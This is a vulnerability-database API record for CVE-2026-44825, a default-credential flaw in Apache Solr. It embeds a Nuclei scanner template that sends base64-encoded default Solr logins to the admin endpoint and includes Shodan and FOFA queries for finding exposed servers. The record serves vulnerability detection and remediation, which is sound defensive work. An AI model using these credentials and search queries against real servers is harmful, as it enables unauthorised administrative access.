{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-44825/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-44825/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-44825/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-44825/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-44825/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-44825"},"sightings":{"href":"/api/v1/sightings/cve-2026-44825"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-44825.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-44825\n\ninfo:\n  name: Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials\n  author: pdteam,0x_Akoko\n  severity: high\n  description: |\n    Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.\n  impact: |\n    Remote attackers can gain full administrative access to the cluster using default credentials.\n  remediation: |\n    Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.\n  reference:\n    - https://lists.apache.org/thread/5xg6xr99glocp3zsg9ht2zlbwlrst7ch\n    - http://www.openwall.com/lists/oss-security/2026/05/29/6\n    - https://github.com/shinthink/solrradar\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44825\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-44825\n    epss-score: 0.03922\n    epss-percentile: 0.90382\n    cwe-id: CWE-798\n  metadata:\n    verified: true\n    max-request: 6\n    shodan-query: product:\"Apache Solr\" port:8983\n    fofa-query: app=\"Apache-Solr\" || title=\"Solr Admin\"\n  tags: cve,cve2026,apache,solr,default-login,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /solr/admin/info/system?wt=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - '(status_code == 200 && contains_any(body, \"solr-spec-version\", \"lucene\", \"solrHome\")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), \"solr\", \"basic\"))'\n        internal: true\n\n  - raw:\n      - |\n        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401 || status_code == 403'\n        internal: true\n\n  - raw:\n      - |\n        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{auth}}\n\n    payloads:\n\n      username:\n        - solr\n        - admin\n        - search\n        - index\n\n      auth:\n        - c29scjpTb2xyUm9ja3M=\n        - YWRtaW46U29sclJvY2tz\n        - c2VhcmNoOlNvbHJSb2Nrcw==\n        - aW5kZXg6U29sclJvY2tz\n\n    attack: pitchfork\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"responseHeader\", \"status\")'\n          - '!contains(body, \"Authentication\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - username\n\n      - type: regex\n        group: 1\n        regex:\n          - '\"name\"\\s*:\\s*\"([a-zA-Z0-9_-]+)\"'\n# digest: 4b0a004830460221009feb32e93a8f7ec208f159a709ac5e8d8c310caecc3d3d25a37993b87deaf3af022100b3d94e2456f9a1889129335d6c636a2613bcb453d35c1ac9ae2bc20e2f024e8b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-44825"}